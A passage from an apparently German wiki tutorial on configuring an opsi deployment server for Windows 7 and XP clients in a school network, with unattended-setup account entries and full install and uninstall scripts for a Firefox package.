 opsi-admin -d method setProductProperty win7 &amp;quot;imagename&amp;quot; &amp;quot;Windows 7 PROFESSIONAL&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;imagename&amp;quot; &amp;quot;Windows 7 PROFESSIONAL&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Falls man es nicht will das beim Neuinstallieren der Netbootprodukte nachgefragt werden soll ob man dies auch wirklich moechte, kann man folgendes setzen:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Diese Werte kann man sich auch wie folgt anzeigen lassen:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash win7 opsi.oppserver.net&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash win7-x64 opsi.oppserver.net&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash winxppro opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um einen Benutzer der Installation hinzuzufuegen, gehen wir wie folgt vor:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
In /opt/pcbin/install/win7/custom/unattend.xml in der Section &amp;lt;LocalAccounts&amp;gt; folgendes hinzufuegen:&lt;br /&gt;
&amp;lt;pre&amp;gt;					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schulleiter&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Administrators&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schulleiter&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schulleiter&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Lehrer&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Powerusers&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Lehrer&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Lehrer&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schueler&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Users&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schueler&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schueler&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/custom&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
In /opt/pcbin/install/win7-x64/custom/unattend.xml in der Section &amp;lt;LocalAccounts&amp;gt; folgendes hinzufuegen:&lt;br /&gt;
&amp;lt;pre&amp;gt;					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schulleiter&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Administrators&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schulleiter&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schulleiter&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Lehrer&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Powerusers&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Lehrer&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Lehrer&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schueler&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Users&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schueler&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schueler&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/custom&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP funktioniert dies ein wenig anders:&lt;br /&gt;
/opt/pcbin/install/winxppro/custom/\$oem\$/cmdlines.txt mit folgendem Inhalt anlegen:&lt;br /&gt;
 [COMMANDS]&lt;br /&gt;
 &amp;quot;useraccounts.cmd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/opt/pcbin/install/winxppro/custom/\$oem\$/useraccounts.cmd mit folgendem Inhalt anlegen:&lt;br /&gt;
 net user Schulleiter starten /add&lt;br /&gt;
 net localgroup Administratoren Schulleiter /add&lt;br /&gt;
 net user Lehrer starten /add&lt;br /&gt;
 net localgroup Administratoren Lehrer /add&lt;br /&gt;
 net user Schueler /add&lt;br /&gt;
 net accounts /maxpwage:unlimited&lt;br /&gt;
 REGEDIT /S autologon.reg&lt;br /&gt;
 EXIT&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom/\$oem\$&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Moechte man unter Windows XP eine automatische Aktivierung, muss man in /opt/pcbin/install/winxppro/custom/unattend.txt den AutoActivate Wert von No in Yes aendern:&lt;br /&gt;
 AutoActivate = Yes&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
Fuer die Display Aufloesung muss man den folgenden Wert in /opt/pcbin/install/winxppro/custom/unattend.txt aendern:&lt;br /&gt;
 [Display]&lt;br /&gt;
 ConfigureAtLogon = 1&lt;br /&gt;
 BitsPerPel = 32&lt;br /&gt;
 XResolution = 1024&lt;br /&gt;
 YResolution = 768&lt;br /&gt;
 VRefresh = 75&lt;br /&gt;
 ;flags = 0&lt;br /&gt;
 AutoConfirm = 1&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
Will man unter Windows XP kein klassisches Menue/Theme, muss man folgendes in /opt/pcbin/install/winxppro/custom/unattend.txt aendern:&lt;br /&gt;
 [Shell]&lt;br /&gt;
 DefaultStartPanelOff = No&lt;br /&gt;
 DefaultThemesOff = No&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun zur Erstellung der Softwarepakete, die nachher auf den Client Rechner installiert werden sollen.&lt;br /&gt;
Vorlagen fuer die install.ins und uninstall.ins habe ich mir hier https://forum.opsi.org/wiki/userspace:script_templates gesorgt und angepasst.&lt;br /&gt;
Als Beispiel nun einmal fuer Firefox:&lt;br /&gt;
 cd /home/opsiproducts&lt;br /&gt;
 opsi-newprod&lt;br /&gt;
&lt;br /&gt;
Hier geben wir nun einige Daten zu dem Produkt an.&lt;br /&gt;
 Bitte Produkt-Typ auswaehlen&lt;br /&gt;
 localboot -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Produkt-ID       firefox&lt;br /&gt;
 Produkt-Name     Firefox&lt;br /&gt;
 Beschreibung     Firefox Webbrowser&lt;br /&gt;
 Hinweis          Firefox&lt;br /&gt;
 Produkt-Version  16.0.1&lt;br /&gt;
 Paket-Version    1&lt;br /&gt;
 Lizenzpflichtig  False&lt;br /&gt;
 Prioritaet        0&lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Setup-Skript                install.ins&lt;br /&gt;
 Uninstall-Skript            uninstall.ins&lt;br /&gt;
 Update-Skript               &lt;br /&gt;
 Always-Skript               &lt;br /&gt;
 Once-Skript                 &lt;br /&gt;
 Custom-Skript               &lt;br /&gt;
 Benutzer-Anmeldungs-Skript  &lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Wollen Sie eine Produkt-Abhaengigkeit definieren?&lt;br /&gt;
 Nein&lt;br /&gt;
&lt;br /&gt;
 Wollen Sie eine Produkt-Eigenschaft definieren?&lt;br /&gt;
 Nein&lt;br /&gt;
&lt;br /&gt;
 Informationen zum Betreuer&lt;br /&gt;
 Name des Betreuers    Oliver Schuetz&lt;br /&gt;
   E-Mail des Betreuers  admin@oppserver.net&lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Fertig&lt;br /&gt;
 Das Paket-Quellverzeichnis &#039;/home/opsiproducts/firefox&#039; wurde erzeugt.&lt;br /&gt;
&lt;br /&gt;
Jetzt erstellen wir die benoetigten &amp;quot;Install&amp;quot; und &amp;quot;Uninstall&amp;quot;-files, die Anweisungen enthalten, wie das Paket nachher installiert werden soll.&lt;br /&gt;
Die Ordnerstruktur sollte dann wie folgt aussehen:&lt;br /&gt;
 root@opsi:/firefox/#&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2584  4. Jun 20:48 delsub.ins&lt;br /&gt;
 drwxr-xr-x 2 root pcpatch  4096 27. Sep 12:59 files&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch 40074  4. Jun 20:48 icon.bmp&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  4477 27. Sep 12:56 install.ins&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2017  4. Jun 20:48 uninstall.ins&lt;br /&gt;
 root@opsi:/firefox/files/#&lt;br /&gt;
 -rw-r--r-- 1 root root    17653976 27. Sep 10:36 Firefox Setup 16.0.1.exe&lt;br /&gt;
&lt;br /&gt;
Die Datei install.ins sieht wie folgt aus:&lt;br /&gt;
 [Initial]&lt;br /&gt;
 ; Script angepasst von Oliver Schuetz&lt;br /&gt;
 LogLevel=2&lt;br /&gt;
 ;  Log Errors in Logfile but don&#039;t abort:&lt;br /&gt;
 ExitOnError=false&lt;br /&gt;
 ; Show syntax errors in the script:&lt;br /&gt;
 ScriptErrorMessages=on&lt;br /&gt;
 ; Dont trace step by step through the script:&lt;br /&gt;
 TraceMode=off&lt;br /&gt;
 ; let started programs run in front of the winst window&lt;br /&gt;
 StayOnTop=false&lt;br /&gt;
 &lt;br /&gt;
 [Aktionen]&lt;br /&gt;
 DefVar $ProductId$&lt;br /&gt;
 DefVar $InstallDir$&lt;br /&gt;
 DefVar $NewExe$&lt;br /&gt;
 DefVar $PRODUCTPATH$&lt;br /&gt;
 DefStringList $profiles$&lt;br /&gt;
 DefVar $akt_profile_ini$&lt;br /&gt;
 DefVar $rel_prefs_path$&lt;br /&gt;
 DefVar $akt_prefs_path$&lt;br /&gt;
 DefVar $TEMP$&lt;br /&gt;
 DefVar $OS$&lt;br /&gt;
 DefVar $UninstallCommand$&lt;br /&gt;
 DefVar $MozInstallDir$&lt;br /&gt;
 DefVar $MozVersion$&lt;br /&gt;
 DefVar $MozInstallPathRegKey$&lt;br /&gt;
 DefVar $PROXY_HOSTNAME_OR_IP$&lt;br /&gt;
 DefVar $PROXY_PORT$&lt;br /&gt;
 DefVar $NOPROXY_HOSTS$&lt;br /&gt;
 DefVar $PREF_FILE$&lt;br /&gt;
 DefStringList $languageInfo$&lt;br /&gt;
 DefVar $language$&lt;br /&gt;
 DefVar $AppData$&lt;br /&gt;
 DefVar $SilentSwitch$&lt;br /&gt;
 DefVar $ExitCode$&lt;br /&gt;
 DefVar $FIREFOXVER$&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
 ; ----------------------------------------------------------------------&lt;br /&gt;
 Set $TEMP$ = EnvVar(&amp;quot;TEMP&amp;quot;)&lt;br /&gt;
 Set $PRODUCTPATH$=&amp;quot;%ProgramFilesDir%\Mozilla Firefox&amp;quot;&lt;br /&gt;
 Set $MozInstallDir$ = $PRODUCTPATH$&lt;br /&gt;
 set $InstallDir$=$PRODUCTPATH$&lt;br /&gt;
 set $NewExe$= $PRODUCTPATH$+&amp;quot;\&amp;quot;&lt;br /&gt;
 set $ProductId$ = &amp;quot;firefox&amp;quot;&lt;br /&gt;
 set $OS$ = GetNTVersion&lt;br /&gt;
 set $FIREFOXVER$ = &amp;quot;Firefox Setup 16.0.1.exe&amp;quot;&lt;br /&gt;
 set $SilentSwitch$ = &amp;quot;-ms&amp;quot;&lt;br /&gt;
 ; ----------------------------------------------------------------------&lt;br /&gt;
 ; Haben wir genug Speicherplatz?&lt;br /&gt;
 if not(HasMinimumSpace (&amp;quot;%SYSTEMDRIVE%&amp;quot;, &amp;quot;30 MB&amp;quot;))&lt;br /&gt;
    LogError &amp;quot;Nicht genuegend Platz auf C: . 30 MB auf C: fuer Firefox erforderlich.&amp;quot;&lt;br /&gt;
    isFatalError&lt;br /&gt;
    comment &amp;quot;Bearbeitung beenden und Produktschalter auf failed setzen&amp;quot;&lt;br /&gt;
 else&lt;br /&gt;
    comment &amp;quot;Zeige Produkt Bild&amp;quot;&lt;br /&gt;
    ShowBitmap /3 &amp;quot;%scriptpath%\icon.bmp&amp;quot; &amp;quot;Firefox&amp;quot;&lt;br /&gt;
    if FileExists(&amp;quot;%ScriptPath%\delsub.ins&amp;quot;)&lt;br /&gt;
        comment &amp;quot;start delsub.ins&amp;quot;&lt;br /&gt;
        sub &amp;quot;%ScriptPath%\delsub.ins&amp;quot;&lt;br /&gt;
    endif&lt;br /&gt;
    comment &amp;quot;Meldung waehrend der Installation:&amp;quot;&lt;br /&gt;
    Message &amp;quot;Installiere Firefox...&amp;quot;&lt;br /&gt;
    comment &amp;quot;Stoppe alle laufenden Firefox&amp;quot;&lt;br /&gt;
    killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
    comment &amp;quot;pruefe nach depotshare&amp;quot;&lt;br /&gt;
    if not (FileExists(&amp;quot;%SCRIPTPATH%&amp;quot;))&lt;br /&gt;
        DosInAnIcon_TryToReconnect&lt;br /&gt;
    endif&lt;br /&gt;
  &lt;br /&gt;
    comment &amp;quot;Starte Setup Programm&amp;quot;&lt;br /&gt;
    Files_copy_local&lt;br /&gt;
    Winbatch_firefox&lt;br /&gt;
    sub_check_exitcode&lt;br /&gt;
    comment &amp;quot;Stope alle laufenden Firefox&amp;quot;&lt;br /&gt;
    killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
    if not(FileExists($NewExe$))&lt;br /&gt;
        logError &amp;quot;Fatal: Nach der Installation &amp;quot;+$NewExe$+&amp;quot; nicht gefunden&amp;quot;&lt;br /&gt;
        isFatalError&lt;br /&gt;
    endif&lt;br /&gt;
 &lt;br /&gt;
    comment &amp;quot;loesche temporaere Dateien&amp;quot;&lt;br /&gt;
    Files_del&lt;br /&gt;
 endif&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 [Files_copy_local]&lt;br /&gt;
 copy -x &amp;quot;%SCRIPTPATH%\files\$FIREFOXVER$&amp;quot; c:\tmp&lt;br /&gt;
 copy -s &amp;quot;%scriptpath%\firefox-profile\*&amp;quot; &amp;quot;$InstallDir$\defaults\profile\.&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 [Files_del]&lt;br /&gt;
 delete -f &amp;quot;c:\tmp\$FIREFOXVER$&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [Winbatch_firefox]&lt;br /&gt;
 ; see http://wiki.mozilla.org/Installer:Command_Line_Arguments&lt;br /&gt;
 &amp;quot;c:\tmp\$FIREFOXVER$&amp;quot; $SilentSwitch$&lt;br /&gt;
  &lt;br /&gt;
 [dosbatch_profiledir]&lt;br /&gt;
 @echo off&lt;br /&gt;
 dir &amp;quot;%ProfileDir%&amp;quot; /b&lt;br /&gt;
  &lt;br /&gt;
 [DosInAnIcon_TryToReconnect]&lt;br /&gt;
 net use&lt;br /&gt;
 set TIMEOUT=&lt;br /&gt;
 :TRY&lt;br /&gt;
     if exist &amp;quot;%SCRIPTPATH%\.&amp;quot; goto READY&lt;br /&gt;
     %ScriptDrive%&lt;br /&gt;
     set TIMEOUT=%TIMEOUT%1&lt;br /&gt;
     if %TIMEOUT% == 1111111111111111 goto READY&lt;br /&gt;
     sleep 1&lt;br /&gt;
     net use&lt;br /&gt;
     goto TRY&lt;br /&gt;
 :READY&lt;br /&gt;
  &lt;br /&gt;
 [PatchTextFile_profile_proxy_file]&lt;br /&gt;
 Set_Netscape_User_Pref (&amp;quot;network.proxy.type&amp;quot;, 2)&lt;br /&gt;
 Set_Netscape_User_Pref (&amp;quot;network.proxy.autoconfig_url&amp;quot;, &amp;quot;file:///$PROXY_HOSTNAME_OR_IP$&amp;quot;)&lt;br /&gt;
  &lt;br /&gt;
 [sub_check_exitcode]&lt;br /&gt;
 comment &amp;quot;test for installation success via exit code&amp;quot;&lt;br /&gt;
 set $ExitCode$ = getLastExitCode&lt;br /&gt;
 ; informations to exit codes see&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa372835(VS.85).aspx&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa368542.aspx&lt;br /&gt;
 if ($ExitCode$ = &amp;quot;0&amp;quot;)&lt;br /&gt;
   comment &amp;quot;looks good: setup program gives exitcode zero&amp;quot;&lt;br /&gt;
   else&lt;br /&gt;
   comment &amp;quot;Setup program gives a exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
   if ($ExitCode$ = &amp;quot;1605&amp;quot;)&lt;br /&gt;
      comment &amp;quot;ERROR_UNKNOWN_PRODUCT   1605   This action is only valid for products that are currently installed.&amp;quot;&lt;br /&gt;
      comment &amp;quot;Uninstall of a not installed product failed - no problem&amp;quot;&lt;br /&gt;
   else&lt;br /&gt;
      if ($ExitCode$ = &amp;quot;1641&amp;quot;)&lt;br /&gt;
         comment &amp;quot;looks good: setup program gives exitcode 1641&amp;quot;&lt;br /&gt;
         comment &amp;quot;ERROR_SUCCESS_REBOOT_INITIATED   1641   The installer has initiated a restart. This message is indicative of a success.&amp;quot;&lt;br /&gt;
      else&lt;br /&gt;
         if ($ExitCode$ = &amp;quot;3010&amp;quot;)&lt;br /&gt;
            comment &amp;quot;looks good: setup program gives exitcode 3010&amp;quot;&lt;br /&gt;
            comment &amp;quot;ERROR_SUCCESS_REBOOT_REQUIRED   3010   A restart is required to complete the install. This message is indicative of a success.&amp;quot;&lt;br /&gt;
         else&lt;br /&gt;
            logError &amp;quot;Fatal: Setup program gives an unknown exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
            isFatalError&lt;br /&gt;
         endif&lt;br /&gt;
      endif&lt;br /&gt;
   endif&lt;br /&gt;
 endif&lt;br /&gt;
&lt;br /&gt;
Die Datei uninstall.ins sieht wie folgt aus:&lt;br /&gt;
 [Initial]&lt;br /&gt;
 ; Script angepasst von Oliver Schuetz&lt;br /&gt;
 Message=Deinstalliere Firefox ...&lt;br /&gt;
 LogLevel=2&lt;br /&gt;
 ExitOnError=false&lt;br /&gt;
 ScriptErrorMessages=on&lt;br /&gt;
 TraceMode=off&lt;br /&gt;
 &lt;br /&gt;
 [Actions]&lt;br /&gt;
 requiredWinstVersion &amp;gt;= &amp;quot;4.10.8.6&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 DefVar $UninstallProgram32$&lt;br /&gt;
 DefVar $MsiId64$&lt;br /&gt;
 DefVar $UninstallProgram64$&lt;br /&gt;
 DefVar $LogDir$&lt;br /&gt;
 DefVar $ExitCode$&lt;br /&gt;
 DefVar $ProductId$&lt;br /&gt;
 DefVar $MozInstallDir$&lt;br /&gt;
 DefVar $MozInstallDir64$&lt;br /&gt;
 DefVar $LicenseRequired$&lt;br /&gt;
 DefVar $LicensePool$&lt;br /&gt;
 DefVar $INST_SystemType$&lt;br /&gt;
 DefVar $INST_architecture$&lt;br /&gt;
 DefVar $UninstallCommand$&lt;br /&gt;
  &lt;br /&gt;
 Set $INST_SystemType$ = GetSystemType&lt;br /&gt;
 set $INST_architecture$ = GetProductProperty(&amp;quot;install_architecture&amp;quot;,&amp;quot;system specific&amp;quot;)&lt;br /&gt;
  &lt;br /&gt;
 Set $LogDir$ = &amp;quot;%SystemDrive%\tmp&amp;quot;&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
 ; - Please edit the following values                             -&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
 Set $ProductId$       = &amp;quot;firefox&amp;quot;&lt;br /&gt;
 Set $MozInstallDir$    = &amp;quot;%ProgramFilesDir%\Mozilla Firefox&amp;quot;&lt;br /&gt;
 Set $LicenseRequired$ = &amp;quot;false&amp;quot;&lt;br /&gt;
 Set $LicensePool$     = &amp;quot;p_&amp;quot; + $ProductId$&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
 comment &amp;quot;Zeige Produkt Bild&amp;quot;&lt;br /&gt;
 ShowBitmap &amp;quot;%ScriptPath%\&amp;quot; + &amp;quot;icon.bmp&amp;quot; $ProductId$&lt;br /&gt;
  &lt;br /&gt;
 Message &amp;quot;Deinstalliere &amp;quot; + $ProductId$ + &amp;quot; ...&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 if FileExists(&amp;quot;%ScriptPath%\delsub.ins&amp;quot;)&lt;br /&gt;
         comment &amp;quot;Start uninstall sub section&amp;quot;&lt;br /&gt;
         Sub &amp;quot;%ScriptPath%\delsub.ins&amp;quot;&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 if $LicenseRequired$ = &amp;quot;true&amp;quot;&lt;br /&gt;
         comment &amp;quot;Licensing required, free license used&amp;quot;&lt;br /&gt;
         Sub_free_license&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 [Sub_free_license]&lt;br /&gt;
 comment &amp;quot;License management is enabled and will be used&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 comment &amp;quot;Trying to free license used for the product&amp;quot;&lt;br /&gt;
 DefVar $result$&lt;br /&gt;
 Set $result$ = FreeLicense($LicensePool$)&lt;br /&gt;
 ; If there is an assignment of a license pool to the product, it is possible to use&lt;br /&gt;
 ; Set $result$ = FreeLicense(&amp;quot;&amp;quot;, $ProductId$)&lt;br /&gt;
 ;&lt;br /&gt;
 ; If there is an assignment of a license pool to a windows software id, it is possible to use&lt;br /&gt;
 ; DefVar $WindowsSoftwareId$&lt;br /&gt;
 ; $WindowsSoftwareId$ = &amp;quot;...&amp;quot;&lt;br /&gt;
 ; set $result$ = FreeLicense(&amp;quot;&amp;quot;, &amp;quot;&amp;quot;, $WindowsSoftwareId$)&lt;br /&gt;
&lt;br /&gt;
Die Datei delsub.ins sieht wie folgt aus:&lt;br /&gt;
 ;************************************************************&lt;br /&gt;
 ;&lt;br /&gt;
 ;delsub.ins&lt;br /&gt;
 ;&lt;br /&gt;
 ;************************************************************&lt;br /&gt;
  &lt;br /&gt;
 ; Message at install time:&lt;br /&gt;
 Message &amp;quot;Deinstalliere &amp;quot;+$ProductId$+&amp;quot; ...&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 ; kill a running firefox&lt;br /&gt;
 killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 ; if firefox uninstall program exists then start it&lt;br /&gt;
  &lt;br /&gt;
 if FileExists(&amp;quot;&amp;quot;+$MozInstallDir$+&amp;quot;\uninstall\helper.exe&amp;quot;)&lt;br /&gt;
     set $UninstallCommand$ = &amp;quot;&amp;quot;+$MozInstallDir$+&amp;quot;\uninstall\helper.exe&amp;quot;&lt;br /&gt;
     set $UninstallCommand$ = &#039;&amp;quot;&#039;+$UninstallCommand$+&#039;&amp;quot; /S&#039;&lt;br /&gt;
     WinBatch_start_FirefoxUninstall /WaitSeconds 20&lt;br /&gt;
     sub_check_exitcode&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 ; delete registry entry to the current installed version&lt;br /&gt;
 Registry_delete_current_version&lt;br /&gt;
 ; delete files of current version&lt;br /&gt;
 if not ($MozInstallDir$ = &amp;quot;&amp;quot;)&lt;br /&gt;
         Files_copy_deinstall&lt;br /&gt;
 endif&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 [WinBatch_start_FirefoxUninstall]&lt;br /&gt;
 $UninstallCommand$&lt;br /&gt;
 ;%SCRIPTPATH%\sleep 5&lt;br /&gt;
  &lt;br /&gt;
 [Files_copy_deinstall]&lt;br /&gt;
 delete -sf &amp;quot;$MozInstallDir$\&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [Registry_delete_current_version]&lt;br /&gt;
 OpenKey [HKEY_LOCAL_MACHINE\Software\Mozilla\Mozilla Firefox]&lt;br /&gt;
 set &amp;quot;CurrentVersion&amp;quot; = &amp;quot;&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [sub_check_exitcode]&lt;br /&gt;
 comment &amp;quot;test for installation success via exit code&amp;quot;&lt;br /&gt;
 set $ExitCode$ = getLastExitCode&lt;br /&gt;
 ; informations to exit codes see&lt;br /&gt;
